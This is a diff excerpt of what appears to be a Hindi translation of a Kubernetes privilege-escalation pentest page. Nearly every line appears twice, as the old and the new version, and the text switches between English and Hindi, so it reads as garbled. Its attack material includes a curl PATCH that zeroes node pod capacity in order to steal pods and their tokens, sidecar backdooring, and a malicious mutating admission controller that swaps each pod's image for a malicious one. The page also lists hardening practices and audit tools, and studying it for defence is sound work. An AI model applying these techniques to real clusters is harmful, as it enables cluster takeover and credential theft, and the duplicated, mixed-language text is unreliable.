> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP ऑथ टोकन भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुंच है**, फिर यह जांचेगा कि क्या इसकी **GCP IAM के माध्यम से कोई पहुंच है**।\
|
||||
> यदि इनमें से **कोई भी** **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।
|
||||
> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP ऑथ टोकन भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुंच है या नहीं**, फिर यह जांचेगा कि क्या इसकी **GCP IAM के माध्यम से कोई पहुंच है**।\
|
||||
> यदि **कोई भी** इनमें से **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।
|
||||
|
||||
फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के अपने **समकक्ष GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।
|
||||
फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के उनके **समकक्ष GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
दूसरा तरीका **क्लस्टर के अंदर K8s अनुमतियाँ असाइन करना** है, उपयोगकर्ता की पहचान उसके **ईमेल** द्वारा करना (GCP सेवा खातों सहित)।
|
||||
दूसरा तरीका है **क्लस्टर के अंदर K8s अनुमतियों को असाइन करना** उपयोगकर्ता की पहचान उसके **ईमेल** द्वारा करना (GCP सेवा खातों सहित)।
|
||||
|
||||
### सेवा खाता टोकन बनाना
|
||||
|
||||
प्रिंसिपल जो **TokenRequests** (`serviceaccounts/token`) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego) से)।
|
||||
प्रिंसिपल जो **TokenRequests** (`serviceaccounts/token`) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी [**यहां**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))।
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादित** कर सकते हैं, और संभावित रूप से **अपने नोड से बाहर** निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।
|
||||
प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं**, और संभावित रूप से **अपने नोड से बाहर निकल सकते हैं** एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।
|
||||
|
||||
### ValidatingWebhookConfigurations या MutatingWebhookConfigurations
|
||||
|
||||
प्रिंसिपल जिनके पास `validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` में से कोई भी क्रिया है, वे **ऐसे webhookconfigurations में से एक बनाने** में सक्षम हो सकते हैं ताकि वे **अनुमतियों को बढ़ा सकें**।
|
||||
प्रिंसिपल जिनके पास `validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` में से कोई भी क्रिया है, वे **ऐसे webhookconfigurations में से एक बना सकते हैं** ताकि वे **अनुमतियों को बढ़ा सकें**।
|
||||
|
||||
एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जाँच करें](#malicious-admission-controller)।
|
||||
एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जांच करें](#malicious-admission-controller)।
|
||||
|
||||
### वृद्धि करना
|
||||
|
||||
जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**निर्मित विशेषाधिकार वृद्धि रोकथाम**](#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना भूमिकाएँ या क्लस्टर भूमिकाएँ न तो अपडेट कर सकता है और न ही बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** हो।\
|
||||
जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**निर्मित विशेषाधिकार वृद्धि रोकथाम**](#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना भूमिकाओं या क्लस्टर भूमिकाओं को न तो अपडेट कर सकता है और न ही बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate` या `*`** हो और संबंधित बाइंडिंग विकल्प।\
|
||||
तब वह नई भूमिकाएँ, क्लस्टर भूमिकाएँ बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।
|
||||
|
||||
### नोड्स प्रॉक्सी
|
||||
|
||||
प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुँच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादित** कर सकते हैं (अनुसार [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
|
||||
प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुंच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादन कर सकते हैं** (अनुसार [**यहां**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
आपके पास [**Kubelet API से अधिकृत बात करने पर RCE प्राप्त करने का एक उदाहरण यहाँ है**](../pentesting-kubernetes-services/index.html#kubelet-rce)।
|
||||
आपके पास [**Kubelet API से अधिकृत बात करने पर RCE प्राप्त करने का एक उदाहरण यहां है**](../pentesting-kubernetes-services/index.html#kubelet-rce)।
|
||||
|
||||
### पॉड्स हटाना + अस्थायी नोड्स
|
||||
### पॉड्स को हटाना + अस्थायी नोड्स
|
||||
|
||||
प्रिंसिपल जो **पॉड्स को हटा सकते हैं** (`pods` संसाधन पर `delete` क्रिया), या **पॉड्स को निष्कासित कर सकते हैं** (`pods/eviction` संसाधन पर `create` क्रिया), या **पॉड स्थिति बदल सकते हैं** (access to `pods/status`) और **अन्य नोड्स को अस्थायी बना सकते हैं** (access to `nodes/status`) या **नोड्स को हटा सकते हैं** (`nodes` संसाधन पर `delete` क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे **अन्य नोड्स से पॉड्स चुरा सकते हैं** ताकि वे **समझौता किए गए** **नोड** में **निष्पादित** हों और हमलावर उन पॉड्स से **टोकन चुरा सके**।
|
||||
प्रिंसिपल जो **पॉड्स को हटा सकते हैं** (`pods` संसाधन पर `delete` क्रिया), या **पॉड्स को निष्कासित कर सकते हैं** (`pods/eviction` संसाधन पर `create` क्रिया), या **पॉड स्थिति बदल सकते हैं** (पॉड्स/स्थिति तक पहुंच) और **अन्य नोड्स को अस्थायी बना सकते हैं** (नोड्स/स्थिति तक पहुंच) या **नोड्स को हटा सकते हैं** (`nodes` संसाधन पर `delete` क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे **अन्य नोड्स से पॉड्स चुरा सकते हैं** ताकि वे **समझौता किए गए** **नोड** में **निष्पादित** हों और हमलावर उन पॉड्स से **टोकन चुरा सके**।
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -540,87 +583,61 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the cluster**. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
प्रिंसिपल जो **`services/status`** को **संशोधित** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड को **अनफिक्स्ड CVE-2020-8554** का लाभ उठाने के लिए सेट कर सकते हैं और **क्लस्टर के खिलाफ MiTM हमले** शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार [**यह**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))।
|
||||
|
||||
### Nodes and Pods status
|
||||
|
||||
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
|
||||
प्रिंसिपल जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं जिससे लागू शेड्यूलिंग प्रतिबंध प्रभावित होते हैं।
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
|
||||
Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक [बिल्ट-इन तंत्र](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है।
|
||||
|
||||
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
|
||||
यह प्रणाली सुनिश्चित करती है कि **उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते**। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।
|
||||
|
||||
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
|
||||
नियम stipulates करता है कि **एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों**। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।
|
||||
|
||||
> [!WARNING]
|
||||
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
|
||||
> पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** है, तो वह भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकारों को बढ़ा सकता है भले ही उसके पास स्वयं अनुमतियाँ न हों।
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. You cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
> **स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है उसी कारण से जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से अनुमतियाँ नहीं हैं तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।**
|
||||
|
||||
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
|
||||
भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को **भूमिकाओं को एक सेवा खाते से बाइंड करने** की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह **उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने** की अनुमति देता है।
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
By default there isn't any encryption in the communication between pods. Mutual authentication, two-way, pod to pod.
|
||||
डिफ़ॉल्ट रूप से, पॉड के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।
|
||||
|
||||
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Create your .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
अपनी .yaml फ़ाइल को संपादित करें और अनकमेंट की गई पंक्तियों को जोड़ें:
|
||||
एक साइडकार कंटेनर बस एक **दूसरा (या अधिक) कंटेनर एक पॉड के अंदर जोड़ने** पर आधारित होता है।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित 2 कंटेनरों के साथ एक पॉड की कॉन्फ़िगरेशन का हिस्सा है:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
प्रॉक्सी के लॉग देखें:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
उदाहरण के लिए, एक नए कंटेनर के साथ एक मौजूदा पॉड में बैकडोर करने के लिए, आप बस विनिर्देशन में एक नया कंटेनर जोड़ सकते हैं। ध्यान दें कि आप दूसरे कंटेनर को **अधिक अनुमतियाँ** दे सकते हैं जो पहले को नहीं मिलेंगी।
|
||||
|
||||
### Malicious Admission Controller
|
||||
अधिक जानकारी के लिए: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
An admission controller **Kubernetes API सर्वर** के लिए अनुरोधों को **अवरोधित करता है** पहले वस्तु की स्थायीता से, लेकिन **अनुरोध को प्रमाणित** **और अधिकृत** करने के बाद।
|
||||
### दुर्भावनापूर्ण प्रवेश नियंत्रक
|
||||
|
||||
यदि एक हमलावर किसी तरह **Mutationg Admission Controller** को **इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रहना।
|
||||
एक प्रवेश नियंत्रक **Kubernetes API सर्वर पर अनुरोधों को रोकता है** वस्तु के स्थायीकरण से पहले, लेकिन **अनुरोध को प्रमाणित** **और अधिकृत** करने के बाद।
|
||||
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
यदि एक हमलावर किसी तरह **Mutation Admission Controller** को **इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रूप से बने रहना।
|
||||
|
||||
**उदाहरण** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
@@ -646,11 +663,11 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने `nginx` इमेज चलाने की कोशिश की, लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। क्या हुआ!!?
|
||||
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने `nginx` इमेज चलाने की कोशिश की लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। क्या हुआ!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### Technicalities
|
||||
|
||||
`./deploy.sh` स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट के अनुसार Kubernetes API के लिए अनुरोधों को संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है:
|
||||
`./deploy.sh` स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट के अनुसार Kubernetes API के अनुरोधों को संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -658,28 +675,28 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
उपरोक्त स्निपेट हर पॉड में पहले कंटेनर इमेज को `rewanthtammana/malicious-image` से बदलता है।
|
||||
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper बायपास
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## सर्वोत्तम प्रथाएँ
|
||||
## Best Practices
|
||||
|
||||
### **सेवा खाता टोकन का ऑटोमाउंट बंद करना**
|
||||
### **Service Account Tokens के Automount को बंद करना**
|
||||
|
||||
- **पॉड और सेवा खाते**: डिफ़ॉल्ट रूप से, पॉड एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस ऑटोमाउंट सुविधा को बंद करने की अनुमति देता है।
|
||||
- **कैसे लागू करें**: सेवा खातों या पॉड्स की कॉन्फ़िगरेशन में `automountServiceAccountToken: false` सेट करें, जो Kubernetes संस्करण 1.6 से शुरू होता है।
|
||||
- **Pods और Service Accounts**: डिफ़ॉल्ट रूप से, pods एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount सुविधा को बंद करने की अनुमति देता है।
|
||||
- **कैसे लागू करें**: सेवा खातों या pods की कॉन्फ़िगरेशन में `automountServiceAccountToken: false` सेट करें, Kubernetes संस्करण 1.6 से शुरू।
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट**
|
||||
|
||||
- **चयनात्मक समावेश**: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे।
|
||||
|
||||
### **क्लस्टर-व्यापी भूमिकाओं के मुकाबले नामस्थान-विशिष्ट भूमिकाएँ**
|
||||
### **Namespace-विशिष्ट Roles पर Cluster-Wide Roles**
|
||||
|
||||
- **भूमिकाएँ बनाम ClusterRoles**: क्लस्टर-व्यापी लागू होने वाले ClusterRoles और ClusterRoleBindings के बजाय नामस्थान-विशिष्ट अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।
|
||||
- **Roles बनाम ClusterRoles**: ClusterRoles और ClusterRoleBindings के बजाय namespace-specific अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें, जो क्लस्टर-व्यापी लागू होते हैं। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।
|
||||
|
||||
### **स्वचालित उपकरणों का उपयोग करें**
|
||||
|
||||
@@ -695,10 +712,12 @@ https://github.com/aquasecurity/kube-hunter
|
||||
https://github.com/aquasecurity/kube-bench
|
||||
{{#endref}}
|
||||
|
||||
## **संदर्भ**
|
||||
## **References**
|
||||
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user